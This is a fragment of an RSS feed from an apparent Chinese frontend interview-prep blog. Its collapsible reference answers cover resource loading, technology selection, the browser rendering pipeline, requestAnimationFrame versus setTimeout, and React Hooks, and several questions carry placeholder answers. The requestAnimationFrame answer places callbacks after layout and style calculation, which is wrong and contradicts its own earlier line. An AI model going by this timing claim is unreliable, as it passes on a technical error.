&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;link rel&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;preload&amp;#34;&lt;/span&gt; href&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/styles/main.css&amp;#34;&lt;/span&gt; as&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;style&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;link rel&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;preload&amp;#34;&lt;/span&gt; href&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/scripts/main.js&amp;#34;&lt;/span&gt; as&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;script&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="-合理设置优先级优先样式关键-js"&gt;✅ 合理设置优先级（优先样式、关键 JS）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;样式应优先加载，JS 使用 &lt;code&gt;defer&lt;/code&gt; 避免阻塞渲染&lt;/li&gt;
&lt;li&gt;图片使用 &lt;code&gt;priority&lt;/code&gt; 或手动 preload，避免首屏懒加载&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-拆分资源按需加载非关键资源延后"&gt;✅ 拆分资源、按需加载，非关键资源延后&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;webpack&lt;/code&gt; 拆包、code splitting&lt;/li&gt;
&lt;li&gt;配合路由懒加载、图片懒加载，剥离非首屏资源&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="五总结"&gt;五、总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;首屏关键资源识别关键在于&lt;strong&gt;时机和影响&lt;/strong&gt;：只看首屏时间前对渲染有影响的资源&lt;/li&gt;
&lt;li&gt;工具使用（DevTools Performance / Coverage / Lighthouse）是识别的重要手段&lt;/li&gt;
&lt;li&gt;识别后需通过&lt;strong&gt;优先加载、资源压缩、预加载、懒加载&lt;/strong&gt;等手段进行优化&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-c8174172431f"&gt;4. 具体通过哪些手段减少关键资源体积&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;清晰分类 JS / CSS / 图片 / 字体 / HTML 各自的体积优化方式&lt;/li&gt;
&lt;li&gt;能结合具体工具（Webpack、插件、工具链）给出实操方案&lt;/li&gt;
&lt;li&gt;表达对“精简资源体积 = 提升性能体验”逻辑的理解&lt;/li&gt;
&lt;li&gt;给出优化前后定量结果更有说服力&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-资源优化能力代码压缩依赖精简图片优化等"&gt;● 资源优化能力（代码压缩、依赖精简、图片优化等）&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察候选人对性能优化的掌握是否落到实处。&lt;/p&gt;</description></item><item><title>字节-抖音短视频-社招-5年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-76/</link><pubDate>Sun, 27 Jul 2025 09:47:52 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-76/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-77/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 事件循环、前端存储、React 生命周期、列表和key、react 事件机制、react 渲染机制、浏览器的同源策略、CSRF攻击、 XSS防御、跨域资源共享（CORS）&lt;/p&gt;
&lt;p&gt;本轮共 23 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-cdb6497278f2"&gt;1. 介绍一下你觉的比较有成就感的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;STAR法则&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;老传统了，基于简历挖掘一个最有亮点的项目&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-24e14e9a845e"&gt;2. 遇到的最有挑战的技术是什么&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9e1a5a47930c"&gt;3. 项目技术选型是如何衡量的&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;列举技术选型的核心衡量标准&lt;br&gt;&lt;/li&gt;
&lt;li&gt;说明评估流程和实操方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调综合权衡，避免片面判断&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合项目需求和团队实际展开&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解技术选型的核心因素及其权衡原则"&gt;● 理解技术选型的核心因素及其权衡原则&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对项目需求、团队能力与技术趋势的综合分析能力。&lt;/p&gt;
&lt;h4 id="-掌握技术选型中性能开发效率维护性等多维度考虑"&gt;● 掌握技术选型中性能、开发效率、维护性等多维度考虑&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察系统架构设计和项目管理思维。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一技术选型的衡量维度"&gt;一、技术选型的衡量维度&lt;/h3&gt;
&lt;h4 id="1-业务需求匹配度"&gt;1. 业务需求匹配度&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;技术是否满足项目的功能需求、性能要求和扩展性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否支持项目特有的场景或复杂逻辑。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-团队技术栈和能力"&gt;2. 团队技术栈和能力&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;团队是否熟悉该技术，学习成本及培训投入。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;技术社区活跃度，文档完善程度，易用性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-性能表现"&gt;3. 性能表现&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;技术的响应速度、负载能力、资源消耗。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否支持性能优化方案（如 SSR、缓存策略等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-生态和兼容性"&gt;4. 生态和兼容性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;技术生态是否丰富，有无成熟的第三方库和工具支持。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;与现有系统和平台的兼容性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-维护成本与长期可持续性"&gt;5. 维护成本与长期可持续性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;技术的稳定性和升级频率。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;社区支持和企业采用情况，避免技术孤岛。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-开发效率"&gt;6. 开发效率&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;开发周期和上线速度。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;工具链和开发体验是否高效。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="7-安全性和合规性"&gt;7. 安全性和合规性&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;技术在安全防护、隐私保护方面的能力。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否满足行业合规标准。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二技术选型的评估流程"&gt;二、技术选型的评估流程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;需求调研&lt;/strong&gt;：明确项目功能和非功能需求。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;方案调研&lt;/strong&gt;：收集备选技术方案及案例。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术预研和验证&lt;/strong&gt;：通过小型原型测试技术可行性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;成本评估&lt;/strong&gt;：综合考量开发、维护、培训等成本。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险分析&lt;/strong&gt;：识别潜在风险，如社区活跃度、技术稳定性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;决策和方案确定&lt;/strong&gt;：结合以上评估，选择最优技术方案。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id="三总结"&gt;三、总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;技术选型是一个多维度权衡过程，既要满足业务需求，也需考虑团队与生态。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;注重长期维护和性能表现，避免盲目追新或仅凭个人偏好。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过科学的评估流程和数据支撑，做出理性选择。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-b5f3a19aa953"&gt;4. 项目中的性能监控和错误上报讲一下&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;列举关键性能指标及监控方法&lt;br&gt;&lt;/li&gt;
&lt;li&gt;说明错误类型、捕获机制和上报流程&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调数据分析与持续优化的重要性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合实际项目实践进行阐述&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解前端性能监控的关键指标和监控手段"&gt;● 理解前端性能监控的关键指标和监控手段&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对用户体验优化和实时监控的认知。&lt;/p&gt;</description></item><item><title>字节-商业化-社招-4年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-75/</link><pubDate>Sun, 27 Jul 2025 09:29:18 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-75/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-74/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; Web Storage、离线存储、浏览器解析 HTML 文件、浏览器渲染过程、浏览器的缓存机制、浏览器的存储机制&lt;/p&gt;
&lt;p&gt;本轮共 22 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-ce6113579300"&gt;1. 讲一下你的3D渲染的项目&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-ebd16eff00d0"&gt;2. 3D渲染顶点着色、剪裁你是怎么实现的&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8eb47b712b62"&gt;3. 顶点着色阶段中的坐标变换通常包括哪些步骤？为什么剪裁能提升性能&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8945e274e9c1"&gt;4. 在透视投影中，为什么需要视口变换（Viewport Transformation）&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-efecf9c06939"&gt;5. 像素着色阶段的任务是什么？它如何与光照模型（如Phong或Blinn-Phong）结合&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-229eab953c10"&gt;6. 延迟渲染（Deferred Rendering）与前向渲染（Forward Rendering）在像素着色阶段的区别&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5144c067ddb5"&gt;7. 深度缓冲（Z-Buffer）的工作原理是什么&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-f54eec84ec45"&gt;8. 浏览器绘制一帧的完整流程（从输入事件到像素合成）&lt;/h2&gt;
&lt;h3 id="题目要点-7"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理清浏览器渲染从事件到显示的每个关键步骤。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解释每个阶段的作用和产生的结果。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调布局、绘制和合成的性能开销及优化手段。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合实际开发中的性能调优措施说明。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解浏览器渲染的全流程"&gt;● 理解浏览器渲染的全流程&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察从用户输入到最终视觉呈现的各个环节。&lt;/p&gt;
&lt;h4 id="-掌握事件处理样式计算布局绘制和合成机制"&gt;● 掌握事件处理、样式计算、布局、绘制和合成机制&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对浏览器渲染流水线各阶段的深入理解。&lt;/p&gt;
&lt;h4 id="-理解性能瓶颈和优化点"&gt;● 理解性能瓶颈和优化点&lt;/h4&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h3 id="一浏览器绘制一帧的整体流程概览"&gt;一、浏览器绘制一帧的整体流程概览&lt;/h3&gt;
&lt;p&gt;从用户输入事件触发，到最终屏幕显示，浏览器大致执行以下步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;事件处理（Input Handling）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript 执行（JS Execution）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;样式计算（Style Recalculation）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;布局计算（Layout / Reflow）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绘制（Painting）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合成（Compositing）&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;像素呈现（Rasterization &amp;amp; Display）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id="二详细流程解析"&gt;二、详细流程解析&lt;/h3&gt;
&lt;h4 id="1-用户输入事件处理"&gt;1. 用户输入事件处理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器捕获用户的输入事件（如点击、滚动、键盘等），将事件放入事件队列。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;主线程从事件队列中取出事件，执行对应的事件处理程序（如回调函数）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-javascript-执行"&gt;2. JavaScript 执行&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;事件处理回调可能修改 DOM 或样式。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;JavaScript 运行在浏览器主线程，操作 DOM 会影响后续渲染。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-样式计算style-recalculation"&gt;3. 样式计算（Style Recalculation）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器根据最新的 DOM 结构和 CSS 规则，计算每个元素的最终样式。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;可能触发样式树（style tree）的重建或更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-布局计算layout--reflow"&gt;4. 布局计算（Layout / Reflow）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;计算元素的几何信息（大小、位置等），生成布局树（layout tree）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;重新计算会影响元素相对或绝对位置。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;这是性能较昂贵的过程，尤其是节点多或频繁触发。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-绘制painting"&gt;5. 绘制（Painting）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;将布局树转换为绘制指令（绘制图层的内容），如颜色、文字、边框等。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;生成绘制层（paint layers），具体绘制到图层画布（layer canvas）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-合成compositing"&gt;6. 合成（Compositing）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;多个绘制层按照层级关系组合（合成）成最终页面。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 GPU 加速合成，将图层合并为一张完整的图像。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;合成阶段可以通过硬件加速提升性能，避免全部重绘。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="7-像素呈现rasterization--display"&gt;7. 像素呈现（Rasterization &amp;amp; Display）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;将合成后的图像转换成屏幕像素。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;GPU 或显示设备将最终像素渲染到屏幕，完成一帧的视觉呈现。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三流程图示意"&gt;三、流程图示意&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;用户输入 → 事件处理 → JS 执行 → 样式计算 → 布局 → 绘制 → 合成 → 屏幕显示
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="四优化与注意点"&gt;四、优化与注意点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;避免频繁触发布局和绘制&lt;/strong&gt;，减少重排和重绘次数。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 CSS3 硬件加速属性（transform、opacity）优化合成性能。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;将复杂动画放入合成层，减少主线程压力。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;合理分层减少合成开销，避免过度分层。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;减少 JavaScript 执行时间，避免阻塞主线程。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-e6f4b305ea7b"&gt;9. 追问：requestAnimationFrame（RAF）在哪个阶段执行？为什么它比setTimeout更适合动画&lt;/h2&gt;
&lt;h3 id="题目要点-8"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;明确 RAF 在浏览器渲染流程中“绘制前”执行。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;解释 RAF 与浏览器刷新同步，自动节流的机制。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;对比 setTimeout，突出 RAF 动画性能和体验优势。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;强调实际开发中推荐使用 RAF 实现动画更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="一requestanimationframe-执行阶段"&gt;一、requestAnimationFrame 执行阶段&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;requestAnimationFrame 回调函数执行时机&lt;/strong&gt;：&lt;br&gt;
RAF 的回调函数会在浏览器开始&lt;strong&gt;下一次渲染帧之前&lt;/strong&gt;执行，即在 &lt;strong&gt;浏览器渲染管线中的“绘制（Painting）”之前&lt;/strong&gt;或合成前的空隙期。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;具体来说，RAF 的回调是在浏览器完成一帧的布局（Layout）和样式计算（Style Recalculation）之后，&lt;strong&gt;紧接着准备绘制和合成之前&lt;/strong&gt;触发，保证动画逻辑与渲染同步。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二为什么-raf-比-settimeout-更适合动画"&gt;二、为什么 RAF 比 setTimeout 更适合动画&lt;/h3&gt;
&lt;h4 id="1-与浏览器刷新频率同步"&gt;1. 与浏览器刷新频率同步&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;RAF 会按照屏幕刷新频率（通常是 60fps，即约 16.7ms 一帧）自动调用回调，保证动画平滑且不卡顿。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;setTimeout 不与渲染同步，回调可能在任意时刻执行，导致动画帧率不稳定甚至丢帧。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-自动节流和性能优化"&gt;2. 自动节流和性能优化&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器在后台标签页会自动暂停 RAF 调用，节省资源；而 setTimeout 仍然会尝试执行，浪费性能。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;RAF 允许浏览器合并多次绘制请求，提升性能。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-减少视觉撕裂"&gt;3. 减少视觉撕裂&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;由于 RAF 在绘制之前触发，能保证动画状态在绘制前更新，减少视觉撕裂和跳帧现象。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;setTimeout 可能导致更新与渲染不同步，画面不连贯。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三总结"&gt;三、总结&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;requestAnimationFrame&lt;/th&gt;
&lt;th&gt;setTimeout&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;执行时机&lt;/td&gt;
&lt;td&gt;渲染帧开始前（绘制前）&lt;/td&gt;
&lt;td&gt;指定时间后，非渲染同步&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帧率同步&lt;/td&gt;
&lt;td&gt;与显示器刷新率同步，平滑动画&lt;/td&gt;
&lt;td&gt;不保证同步，可能导致跳帧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能优化&lt;/td&gt;
&lt;td&gt;后台标签页自动暂停，节约资源&lt;/td&gt;
&lt;td&gt;即使后台也运行，浪费性能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;视觉效果&lt;/td&gt;
&lt;td&gt;减少撕裂，动画更流畅&lt;/td&gt;
&lt;td&gt;易出现撕裂和卡顿&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-13fa8706221f"&gt;10. 在布局（Layout）和绘制（Paint）阶段，浏览器如何避免不必要的重排（Reflow）和重绘（Repaint）&lt;/h2&gt;
&lt;h3 id="题目要点-9"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;明确重排与重绘的区别和性能影响&lt;br&gt;&lt;/li&gt;
&lt;li&gt;介绍浏览器批量更新、延迟计算和图层合成机制&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合实例说明如何避免强制同步布局&lt;br&gt;&lt;/li&gt;
&lt;li&gt;总结开发中避免不必要重排重绘的具体技巧和建议&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解重排和重绘的区别及性能影响"&gt;● 理解重排和重绘的区别及性能影响&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察对浏览器渲染优化关键环节的掌握。&lt;/p&gt;</description></item><item><title>字节-商业化-社招-4年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-74/</link><pubDate>Sun, 27 Jul 2025 09:13:11 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-74/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-75/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 全方位解读this、作用域链与闭包、事件循环、call、apply和bind、前端存储、react hooks、react 渲染机制、React函数组件更新&lt;/p&gt;
&lt;p&gt;本轮共 25 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-6827d12cb118"&gt;1. 讲一下你平常使用的React Hooks&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;熟练掌握常用 Hook（useState/useEffect/useRef/useMemo/useCallback/useContext）&lt;/li&gt;
&lt;li&gt;能结合实际项目说明每个 Hook 的使用动机和实现效果&lt;/li&gt;
&lt;li&gt;理解 Hook 的核心机制（闭包陷阱、依赖数组规则、执行时机等）&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;h4 id="-理解-react-hooks-的基本使用场景及原理"&gt;● 理解 React Hooks 的基本使用场景及原理&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;面试官关注候选人是否掌握了常用 Hook 的使用规范与时机。&lt;/p&gt;
&lt;h4 id="-能否结合项目实际表达-hooks-的应用能力"&gt;● 能否结合项目实际表达 Hooks 的应用能力&lt;br&gt;&lt;/h4&gt;
&lt;p&gt;考察是否具备将 React 函数组件与 Hooks 结合的实际经验与思维能力。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
